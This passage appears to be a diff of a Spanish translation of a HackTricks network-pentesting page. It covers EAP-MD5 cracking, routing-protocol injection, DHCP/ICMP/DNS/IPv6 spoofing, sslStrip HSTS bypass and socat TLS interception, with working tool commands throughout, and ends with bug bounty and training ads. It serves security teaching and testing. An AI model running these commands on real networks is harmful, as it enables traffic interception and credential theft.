* Captura de mensajes EAP y craqueo de contraseñas sin conexión (EAP-MD5 y PEAP) * Captura de mensajes EAP y cracking de contraseñas offline (EAP-MD5 y PEAP)
* Forzar la autenticación EAP-MD5 para evitar la validación del certificado TLS * Forzar la autenticación EAP-MD5 para eludir la validación del certificado TLS
* Inyectar tráfico de red malicioso al autenticar usando un concentrador o similar * Inyectar tráfico de red malicioso al autenticar usando un hub o similar
Si el atacante se encuentra entre la víctima y el servidor de autenticación, podría intentar degradar (si es necesario) el protocolo de autenticación a EAP-MD5 y capturar el intento de autenticación. Luego, podría realizar fuerza bruta utilizando: Si el atacante está entre la víctima y el servidor de autenticación, podría intentar degradar (si es necesario) el protocolo de autenticación a EAP-MD5 y capturar el intento de autenticación. Luego, podría realizar fuerza bruta utilizando:
``` ```
eapmd5pass r pcap.dump w /usr/share/wordlist/sqlmap.txt eapmd5pass r pcap.dump w /usr/share/wordlist/sqlmap.txt
``` ```
### Ataques FHRP (GLBP & HSRP) <a href="#id-6196" id="id-6196"></a> ### FHRP (GLBP & HSRP) Attacks <a href="#id-6196" id="id-6196"></a>
**FHRP** (Protocolo de Redundancia del Primer Salto) es una clase de protocolos de red diseñados para **crear un sistema de enrutamiento redundante en caliente**. Con FHRP, los enrutadores físicos pueden combinarse en un dispositivo lógico único, lo que aumenta la tolerancia a fallos y ayuda a distribuir la carga. **FHRP** (First Hop Redundancy Protocol) es una clase de protocolos de red diseñados para **crear un sistema de enrutamiento redundante en caliente**. Con FHRP, los enrutadores físicos pueden combinarse en un solo dispositivo lógico, lo que aumenta la tolerancia a fallos y ayuda a distribuir la carga.
**Los ingenieros de Cisco Systems han desarrollado dos protocolos FHRP, GLBP y HSRP.** **Los ingenieros de Cisco Systems han desarrollado dos protocolos FHRP, GLBP y HSRP.**
@ -560,41 +565,41 @@ eapmd5pass r pcap.dump w /usr/share/wordlist/sqlmap.txt
### RIP ### RIP
Se conocen tres versiones del Protocolo de Información de Enrutamiento (RIP): RIP, RIPv2 y RIPng. Los datagramas se envían a pares a través del puerto 520 utilizando UDP en RIP y RIPv2, mientras que los datagramas se transmiten al puerto 521 de UDP a través de multidifusión IPv6 en RIPng. RIPv2 introdujo el soporte para autenticación MD5. Por otro lado, RIPng no incorpora autenticación nativa; en su lugar, se basa en los encabezados opcionales IPsec AH y ESP dentro de IPv6. Se conocen tres versiones del Protocolo de Información de Enrutamiento (RIP): RIP, RIPv2 y RIPng. Los datagramas se envían a los pares a través del puerto 520 utilizando UDP por RIP y RIPv2, mientras que los datagramas se transmiten al puerto UDP 521 a través de multicast IPv6 por RIPng. El soporte para la autenticación MD5 fue introducido por RIPv2. Por otro lado, la autenticación nativa no está incorporada por RIPng; en su lugar, se confía en encabezados opcionales de IPsec AH y ESP dentro de IPv6.
* **RIP y RIPv2:** La comunicación se realiza a través de datagramas UDP en el puerto 520. * **RIP y RIPv2:** La comunicación se realiza a través de datagramas UDP en el puerto 520.
* **RIPng:** Utiliza el puerto UDP 521 para transmitir datagramas mediante multidifusión IPv6. * **RIPng:** Utiliza el puerto UDP 521 para transmitir datagramas a través de multicast IPv6.
Es importante tener en cuenta que RIPv2 admite autenticación MD5, mientras que RIPng no incluye autenticación nativa, confiando en los encabezados IPsec AH y ESP en IPv6. Tenga en cuenta que RIPv2 admite autenticación MD5 mientras que RIPng no incluye autenticación nativa, confiando en encabezados IPsec AH y ESP en IPv6.
### Ataques EIGRP ### EIGRP Attacks
**EIGRP (Protocolo de Enrutamiento de Puerta de Enlace Interior Mejorado)** es un protocolo de enrutamiento dinámico. **Es un protocolo de vector de distancia.** Si no hay **autenticación** y configuración de interfaces pasivas, un **intruso** puede interferir con el enrutamiento EIGRP y causar **envenenamiento de tablas de enrutamiento**. Además, la red EIGRP (también conocida como sistema autónomo) **es plana y no tiene segmentación en zonas**. Si un **atacante inyecta una ruta**, es probable que esta ruta se **propague** por todo el sistema autónomo EIGRP. **EIGRP (Enhanced Interior Gateway Routing Protocol)** es un protocolo de enrutamiento dinámico. **Es un protocolo de vector de distancia.** Si no hay **autenticación** y configuración de interfaces pasivas, un **intruso** puede interferir con el enrutamiento de EIGRP y causar **envenenamiento de tablas de enrutamiento**. Además, la red EIGRP (en otras palabras, el sistema autónomo) **es plana y no tiene segmentación en zonas**. Si un **atacante inyecta una ruta**, es probable que esta ruta **se propague** por todo el sistema autónomo de EIGRP.
Para atacar un sistema EIGRP se requiere **establecer una vecindad con un enrutador EIGRP legítimo**, lo que abre muchas posibilidades, desde reconocimiento básico hasta diversas inyecciones. Atacar un sistema EIGRP requiere **establecer un vecindario con un enrutador EIGRP legítimo**, lo que abre muchas posibilidades, desde reconocimiento básico hasta diversas inyecciones.
[**FRRouting**](https://frrouting.org/) te permite implementar **un enrutador virtual que admite BGP, OSPF, EIGRP, RIP y otros protocolos.** Todo lo que necesitas hacer es implementarlo en el sistema del atacante y realmente puedes hacer como si fueras un enrutador legítimo en el dominio de enrutamiento. [**FRRouting**](https://frrouting.org/) le permite implementar **un enrutador virtual que admite BGP, OSPF, EIGRP, RIP y otros protocolos.** Todo lo que necesita hacer es desplegarlo en el sistema de su atacante y puede pretender ser un enrutador legítimo en el dominio de enrutamiento.
{% content-ref url="eigrp-attacks.md" %} {% content-ref url="eigrp-attacks.md" %}
[eigrp-attacks.md](eigrp-attacks.md) [eigrp-attacks.md](eigrp-attacks.md)
{% endcontent-ref %} {% endcontent-ref %}
[**Coly**](https://code.google.com/p/coly/) tiene capacidades para interceptar las transmisiones de EIGRP (Protocolo de Enrutamiento de Puerta de Enlace Interior Mejorado). También permite la inyección de paquetes, que se pueden utilizar para alterar configuraciones de enrutamiento. [**Coly**](https://code.google.com/p/coly/) tiene capacidades para interceptar transmisiones de EIGRP (Enhanced Interior Gateway Routing Protocol). También permite la inyección de paquetes, que se pueden utilizar para alterar configuraciones de enrutamiento.
### OSPF ### OSPF
En el protocolo Open Shortest Path First (OSPF) se emplea comúnmente la autenticación MD5 para garantizar una comunicación segura entre enrutadores. Sin embargo, esta medida de seguridad puede ser comprometida utilizando herramientas como Loki y John the Ripper. Estas herramientas son capaces de capturar y descifrar hashes MD5, exponiendo la clave de autenticación. Una vez obtenida esta clave, se puede utilizar para introducir nueva información de enrutamiento. Para configurar los parámetros de ruta y establecer la clave comprometida, se utilizan las pestañas _Inyección_ y _Conexión_, respectivamente. En el protocolo Open Shortest Path First (OSPF), **la autenticación MD5 se emplea comúnmente para garantizar una comunicación segura entre enrutadores**. Sin embargo, esta medida de seguridad puede ser comprometida utilizando herramientas como Loki y John the Ripper. Estas herramientas son capaces de capturar y descifrar hashes MD5, exponiendo la clave de autenticación. Una vez que se obtiene esta clave, se puede utilizar para introducir nueva información de enrutamiento. Para configurar los parámetros de ruta y establecer la clave comprometida, se utilizan las pestañas _Injection_ y _Connection_, respectivamente.
* **Captura y Descifrado de Hashes MD5:** Se utilizan herramientas como Loki y John the Ripper para este propósito. * **Capturando y Descifrando Hashes MD5:** Herramientas como Loki y John the Ripper se utilizan para este propósito.
* **Configuración de Parámetros de Ruta:** Se realiza a través de la pestaña _Inyección_. * **Configurando Parámetros de Ruta:** Esto se realiza a través de la pestaña _Injection_.
* **Establecimiento de la Clave Comprometida:** La clave se configura en la pestaña _Conexión_. * **Estableciendo la Clave Comprometida:** La clave se configura en la pestaña _Connection_.
### Otras Herramientas y Fuentes Genéricas ### Other Generic Tools & Sources
* [**Above**](https://github.com/c4s73r/Above): Herramienta para escanear el tráfico de red y encontrar vulnerabilidades * [**Above**](https://github.com/c4s73r/Above): Herramienta para escanear el tráfico de red y encontrar vulnerabilidades
* Puedes encontrar **más información sobre ataques de red** [**aquí**](https://github.com/Sab0tag3d/MITM-cheatsheet). * Puede encontrar **más información sobre ataques de red** [**aquí**](https://github.com/Sab0tag3d/MITM-cheatsheet).
## **Suplantación** ## **Spoofing**
El atacante configura todos los parámetros de red (GW, IP, DNS) del nuevo miembro de la red enviando respuestas DHCP falsas. El atacante configura todos los parámetros de red (GW, IP, DNS) del nuevo miembro de la red enviando respuestas DHCP falsas.
```bash ```bash
@ -603,30 +608,30 @@ yersinia dhcp -attack 2 #More parameters are needed
``` ```
### ARP Spoofing ### ARP Spoofing
Verifica la [sección anterior](./#arp-spoofing). Consulta la [sección anterior](./#arp-spoofing).
### ICMPRedirect ### ICMPRedirect
ICMP Redirect consiste en enviar un paquete ICMP tipo 1 código 5 que indica que el atacante es la mejor manera de llegar a una IP. Entonces, cuando la víctima quiera contactar a la IP, enviará el paquete a través del atacante. ICMP Redirect consiste en enviar un paquete ICMP tipo 1 código 5 que indica que el atacante es la mejor manera de alcanzar una IP. Luego, cuando la víctima quiera contactar la IP, enviará el paquete a través del atacante.
```bash ```bash
Ettercap Ettercap
icmp_redirect icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5] hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]
``` ```
### Suplantación de DNS ### DNS Spoofing
El atacante resolverá algunos (o todos) los dominios que solicite la víctima. El atacante resolverá algunos (o todos) los dominios que la víctima solicite.
```bash ```bash
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
``` ```
**Configurar tu propio DNS con dnsmasq** **Configurar propio DNS con dnsmasq**
```bash ```bash
apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS dig @localhost domain.example.com # Test the configured DNS
``` ```
### Pasarelas Locales ### Puertas de enlace locales
A menudo existen múltiples rutas a sistemas y redes. Al construir una lista de direcciones MAC dentro de la red local, utiliza _gateway-finder.py_ para identificar hosts que admiten el reenvío de IPv4. A menudo existen múltiples rutas hacia sistemas y redes. Al crear una lista de direcciones MAC dentro de la red local, utiliza _gateway-finder.py_ para identificar hosts que soportan el reenvío de IPv4.
``` ```
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/ root@kali:~# cd gateway-finder/
@ -644,37 +649,37 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100] [+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100] [+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
``` ```
### [Suplantación de LLMNR, NBT-NS y mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ### [Spoofing LLMNR, NBT-NS, y mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
Para la resolución local de host cuando las búsquedas de DNS no tienen éxito, los sistemas de Microsoft dependen de **Link-Local Multicast Name Resolution (LLMNR)** y del **Servicio de Nombre NetBIOS (NBT-NS)**. De manera similar, **Apple Bonjour** y las implementaciones de **configuración cero de Linux** utilizan **Multicast DNS (mDNS)** para descubrir sistemas dentro de una red. Debido a la naturaleza no autenticada de estos protocolos y su funcionamiento sobre UDP, enviando mensajes de difusión, pueden ser explotados por atacantes que buscan redirigir a los usuarios a servicios maliciosos. Para la resolución de hosts locales cuando las búsquedas DNS no tienen éxito, los sistemas de Microsoft dependen de **Link-Local Multicast Name Resolution (LLMNR)** y el **NetBIOS Name Service (NBT-NS)**. De manera similar, **Apple Bonjour** y las implementaciones de **Linux de configuración cero** utilizan **Multicast DNS (mDNS)** para descubrir sistemas dentro de una red. Debido a la naturaleza no autenticada de estos protocolos y su operación sobre UDP, transmitiendo mensajes, pueden ser explotados por atacantes que buscan redirigir a los usuarios a servicios maliciosos.
Puedes hacer pasar por servicios que son buscados por hosts utilizando Responder para enviar respuestas falsas.\ Puedes suplantar servicios que son buscados por hosts utilizando Responder para enviar respuestas falsas.\
Lee aquí más información sobre [cómo hacer pasar por servicios con Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). Lee aquí más información sobre [cómo suplantar servicios con Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
### [Suplantación de WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
Los navegadores comúnmente emplean el **protocolo de Descubrimiento Automático de Proxy Web (WPAD) para adquirir automáticamente la configuración de proxy**. Esto implica obtener detalles de configuración de un servidor, específicamente a través de una URL como "http://wpad.example.org/wpad.dat". El descubrimiento de este servidor por parte de los clientes puede ocurrir a través de varios mecanismos: Los navegadores comúnmente emplean el **protocolo Web Proxy Auto-Discovery (WPAD) para adquirir automáticamente configuraciones de proxy**. Esto implica obtener detalles de configuración de un servidor, específicamente a través de una URL como "http://wpad.example.org/wpad.dat". El descubrimiento de este servidor por los clientes puede ocurrir a través de varios mecanismos:
* A través de **DHCP**, donde el descubrimiento se facilita utilizando una entrada de código especial 252. * A través de **DHCP**, donde el descubrimiento se facilita utilizando una entrada de código especial 252.
* Por **DNS**, que implica buscar un nombre de host etiquetado como _wpad_ dentro del dominio local. * Por **DNS**, que implica buscar un nombre de host etiquetado como _wpad_ dentro del dominio local.
* A través de **Microsoft LLMNR y NBT-NS**, que son mecanismos de respaldo utilizados en casos donde las búsquedas de DNS no tienen éxito. * A través de **Microsoft LLMNR y NBT-NS**, que son mecanismos de respaldo utilizados en casos donde las búsquedas DNS no tienen éxito.
La herramienta Responder aprovecha este protocolo al actuar como un **servidor WPAD malicioso**. Utiliza DHCP, DNS, LLMNR y NBT-NS para engañar a los clientes para que se conecten a él. Para profundizar en cómo los servicios pueden ser suplantados utilizando Responder [consulta esto](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). La herramienta Responder se aprovecha de este protocolo actuando como un **servidor WPAD malicioso**. Utiliza DHCP, DNS, LLMNR y NBT-NS para engañar a los clientes y hacer que se conecten a él. Para profundizar en cómo se pueden suplantar servicios utilizando Responder [consulta esto](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
### [Suplantación de dispositivos SSDP y UPnP](spoofing-ssdp-and-upnp-devices.md) ### [Spoofing SSDP y dispositivos UPnP](spoofing-ssdp-and-upnp-devices.md)
Puedes ofrecer diferentes servicios en la red para intentar **engañar a un usuario** para que ingrese algunas **credenciales en texto plano**. **Más información sobre este ataque en** [**Suplantación de dispositivos SSDP y UPnP**](spoofing-ssdp-and-upnp-devices.md)**.** Puedes ofrecer diferentes servicios en la red para intentar **engañar a un usuario** para que ingrese algunas **credenciales en texto plano**. **Más información sobre este ataque en** [**Spoofing SSDP y Dispositivos UPnP**](spoofing-ssdp-and-upnp-devices.md)**.**
### Suplantación de Vecino IPv6 ### Spoofing de Vecinos IPv6
Este ataque es muy similar a la Suplantación de ARP pero en el mundo IPv6. Puedes hacer que la víctima piense que la dirección IPv6 de la puerta de enlace tiene la MAC del atacante. Este ataque es muy similar al Spoofing ARP pero en el mundo IPv6. Puedes hacer que la víctima piense que el IPv6 del GW tiene la MAC del atacante.
```bash ```bash
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
``` ```
### Suplantación/Inundación de Anuncios de Router IPv6 ### IPv6 Router Advertisement Spoofing/Flooding
Algunos sistemas operativos configuran por defecto la puerta de enlace a partir de los paquetes RA enviados en la red. Para declarar al atacante como router IPv6 puedes usar: Algunos sistemas operativos configuran por defecto la puerta de enlace a partir de los paquetes RA enviados en la red. Para declarar al atacante como router IPv6, puedes usar:
```bash ```bash
sysctl -w net.ipv6.conf.all.forwarding=1 4 sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0 ip route add default via <ROUTER_IPv6> dev wlan0
@ -682,7 +687,7 @@ fake_router6 wlan0 fe80::01/16
``` ```
### Suplantación de DHCP IPv6 ### Suplantación de DHCP IPv6
Por defecto, algunos sistemas operativos intentan configurar el DNS leyendo un paquete DHCPv6 en la red. Entonces, un atacante podría enviar un paquete DHCPv6 para configurarse a sí mismo como DNS. El DHCP también proporciona un IPv6 a la víctima. Por defecto, algunos sistemas operativos intentan configurar el DNS leyendo un paquete DHCPv6 en la red. Entonces, un atacante podría enviar un paquete DHCPv6 para configurarse a sí mismo como DNS. El DHCP también proporciona una IPv6 a la víctima.
```bash ```bash
dhcp6.spoof on dhcp6.spoof on
dhcp6.spoof.domains <list of domains> dhcp6.spoof.domains <list of domains>
@ -691,11 +696,11 @@ mitm6
``` ```
### HTTP (página falsa e inyección de código JS) ### HTTP (página falsa e inyección de código JS)
## Ataques en Internet ## Ataques a Internet
### sslStrip ### sslStrip
Básicamente lo que hace este ataque es, en caso de que el **usuario** intente **acceder** a una página **HTTP** que está **redirigiendo** a la versión **HTTPS**. **sslStrip** mantendrá una **conexión HTTP con** el **cliente y una conexión HTTPS con** el **servidor** para poder **husmear** la conexión en **texto plano**. Básicamente, lo que hace este ataque es que, en caso de que el **usuario** intente **acceder** a una página **HTTP** que está **redirigiendo** a la versión **HTTPS**. **sslStrip** **mantendrá** una **conexión HTTP con** el **cliente y** una **conexión HTTPS con** el **servidor** para que pueda **esnifar** la conexión en **texto plano**.
```bash ```bash
apt-get install sslstrip apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
@ -706,25 +711,25 @@ iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
``` ```
Más información [aquí](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf). Más información [aquí](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf).
### sslStrip+ y dns2proxy para evadir HSTS ### sslStrip+ y dns2proxy para eludir HSTS
La **diferencia** entre **sslStrip+ y dns2proxy** frente a **sslStrip** es que **redirigirán** por ejemplo _**www.facebook.com**_ **a** _**wwww.facebook.com**_ (nota la **"w" extra**) y establecerán la **dirección de este dominio como la IP del atacante**. De esta manera, el **cliente** se **conectará** a _**wwww.facebook.com**_ **(el atacante)** pero en segundo plano **sslstrip+** **mantendrá** la **conexión real** a través de https con **www.facebook.com**. La **diferencia** entre **sslStrip+ y dns2proxy** contra **sslStrip** es que **redirigirán** por ejemplo _**www.facebook.com**_ **a** _**wwww.facebook.com**_ (note la **extra** "**w**") y establecerán la **dirección de este dominio como la IP del atacante**. De esta manera, el **cliente** se **conectará** a _**wwww.facebook.com**_ **(el atacante)**, pero detrás de escena **sslstrip+** **mantendrá** la **conexión real** a través de https con **www.facebook.com**.
El **objetivo** de esta técnica es **evitar HSTS** porque _**wwww**.facebook.com_ **no** se guardará en la **caché** del navegador, por lo que se engañará al navegador para realizar **autenticación de Facebook en HTTP**.\ El **objetivo** de esta técnica es **evitar HSTS** porque _**wwww**.facebook.com_ **no será** guardado en la **caché** del navegador, por lo que el navegador será engañado para realizar **la autenticación de facebook en HTTP**.\
Ten en cuenta que para llevar a cabo este ataque, la víctima tiene que intentar acceder inicialmente a [http://www.faceook.com](http://www.faceook.com) y no https. Esto se puede hacer modificando los enlaces dentro de una página http. Tenga en cuenta que para realizar este ataque, la víctima debe intentar acceder inicialmente a [http://www.faceook.com](http://www.faceook.com) y no a https. Esto se puede hacer modificando los enlaces dentro de una página http.
Más información [aquí](https://www.bettercap.org/legacy/#hsts-bypass), [aquí](https://www.slideshare.net/Fatuo\_\_/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) y [aquí](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly). Más información [aquí](https://www.bettercap.org/legacy/#hsts-bypass), [aquí](https://www.slideshare.net/Fatuo\_\_/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) y [aquí](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
**sslStrip o sslStrip+ ya no funcionan. Esto se debe a que hay reglas HSTS preguardadas en los navegadores, por lo que incluso si es la primera vez que un usuario accede a un dominio "importante", lo hará a través de HTTPS. Además, ten en cuenta que las reglas preguardadas y otras reglas generadas pueden usar la bandera** [**`includeSubdomains`**](https://hstspreload.appspot.com) **por lo que el ejemplo de** _**wwww.facebook.com**_ **anterior ya no funcionará, ya que** _**facebook.com**_ **utiliza HSTS con `includeSubdomains`.** **sslStrip o sslStrip+ ya no funcionan. Esto se debe a que hay reglas HSTS preguardadas en los navegadores, por lo que incluso si es la primera vez que un usuario accede a un dominio "importante", lo hará a través de HTTPS. Además, tenga en cuenta que las reglas preguardadas y otras reglas generadas pueden usar la bandera** [**`includeSubdomains`**](https://hstspreload.appspot.com) **por lo que el** _**wwww.facebook.com**_ **ejemplo de antes ya no funcionará ya que** _**facebook.com**_ **usa HSTS con `includeSubdomains`.**
TODO: easy-creds, evilgrade, metasploit, factory TODO: easy-creds, evilgrade, metasploit, factory
## Escuchar TCP en el puerto ## TCP escucha en el puerto
```bash ```bash
sudo nc -l -p 80 sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr - socat TCP4-LISTEN:80,fork,reuseaddr -
``` ```
## Escuchar TCP + SSL en el puerto ## TCP + SSL escuchar en el puerto
#### Generar claves y certificado autofirmado #### Generar claves y certificado autofirmado
``` ```
@ -744,10 +749,10 @@ sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FI
``` ```
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0 sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
``` ```
A veces, si el cliente comprueba que la CA es válida, podrías **servir un certificado de otro nombre de host firmado por una CA**.\ A veces, si el cliente verifica que la CA es válida, podrías **servir un certificado de otro nombre de host firmado por una CA**.\
Otra prueba interesante es servir un **certificado del nombre de host solicitado pero autofirmado**. Otra prueba interesante es **servir un certificado del nombre de host solicitado pero autofirmado**.
Otras cosas para probar son intentar firmar el certificado con un certificado válido que no sea una CA válida. O utilizar la clave pública válida, forzar el uso de un algoritmo como diffie hellman (uno que no necesite descifrar nada con la clave privada real) y cuando el cliente solicite una sonda de la clave privada real (como un hash), enviar una sonda falsa y esperar que el cliente no lo compruebe. Otras cosas a probar son intentar firmar el certificado con un certificado válido que no sea una CA válida. O usar la clave pública válida, forzar el uso de un algoritmo como Diffie-Hellman (uno que no necesite descifrar nada con la verdadera clave privada) y cuando el cliente solicite una prueba de la verdadera clave privada (como un hash), enviar una prueba falsa y esperar que el cliente no verifique esto.
## Bettercap ## Bettercap
```bash ```bash
@ -775,37 +780,37 @@ set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2 set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap wifi.recon on; wifi.ap
``` ```
### Notas de Descubrimiento Activo ### Active Discovery Notes
Ten en cuenta que cuando se envía un paquete UDP a un dispositivo que no tiene el puerto solicitado, se envía un ICMP (Puerto Inalcanzable). Tenga en cuenta que cuando se envía un paquete UDP a un dispositivo que no tiene el puerto solicitado, se envía un ICMP (Puerto Inalcanzable).
### **Descubrimiento ARP** ### **ARP discover**
Los paquetes ARP se utilizan para descubrir qué IPs se están utilizando dentro de la red. La PC tiene que enviar una solicitud para cada dirección IP posible y solo responderán las que se estén utilizando. Los paquetes ARP se utilizan para descubrir qué IPs se están utilizando dentro de la red. La PC tiene que enviar una solicitud para cada posible dirección IP y solo las que están en uso responderán.
### **mDNS (multicast DNS)** ### **mDNS (multicast DNS)**
Bettercap envía una solicitud mDNS (cada X ms) pidiendo **\_services\_.dns-sd.\_udp.local**. La máquina que ve este paquete generalmente responde a esta solicitud. Luego, solo busca máquinas que respondan a "services". Bettercap envía una solicitud MDNS (cada X ms) pidiendo **\_services\_.dns-sd.\_udp.local**; la máquina que ve este paquete generalmente responde a esta solicitud. Luego, solo busca máquinas que respondan a "services".
**Herramientas** **Tools**
* Avahi-browser (--all) * Avahi-browser (--all)
* Bettercap (net.probe.mdns) * Bettercap (net.probe.mdns)
* Responder * Responder
### **NBNS (Servidor de Nombres NetBios)** ### **NBNS (NetBios Name Server)**
Bettercap envía paquetes de difusión al puerto 137/UDP pidiendo el nombre "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA". Bettercap transmite paquetes al puerto 137/UDP pidiendo el nombre "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA".
### **SSDP (Protocolo de Descubrimiento de Servicios Simples)** ### **SSDP (Simple Service Discovery Protocol)**
Bettercap envía paquetes SSDP de difusión buscando todo tipo de servicios (Puerto UDP 1900). Bettercap transmite paquetes SSDP buscando todo tipo de servicios (Puerto UDP 1900).
### **WSD (Descubrimiento de Servicios Web)** ### **WSD (Web Service Discovery)**
Bettercap envía paquetes WSD de difusión buscando servicios (Puerto UDP 3702). Bettercap transmite paquetes WSD buscando servicios (Puerto UDP 3702).
## Referencias ## References
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) * [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
* **Network Security Assessment: Know Your Network (3rd edition)** * **Network Security Assessment: Know Your Network (3rd edition)**
@ -813,20 +818,21 @@ Bettercap envía paquetes WSD de difusión buscando servicios (Puerto UDP 3702).
* [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) * [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\ <img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Consejo de recompensa por errores**: **Regístrate** en **Intigriti**, una **plataforma premium de recompensas por errores creada por hackers, para hackers**! ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**! **Bug bounty tip**: **regístrate** en **Intigriti**, una **plataforma de recompensas por errores creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
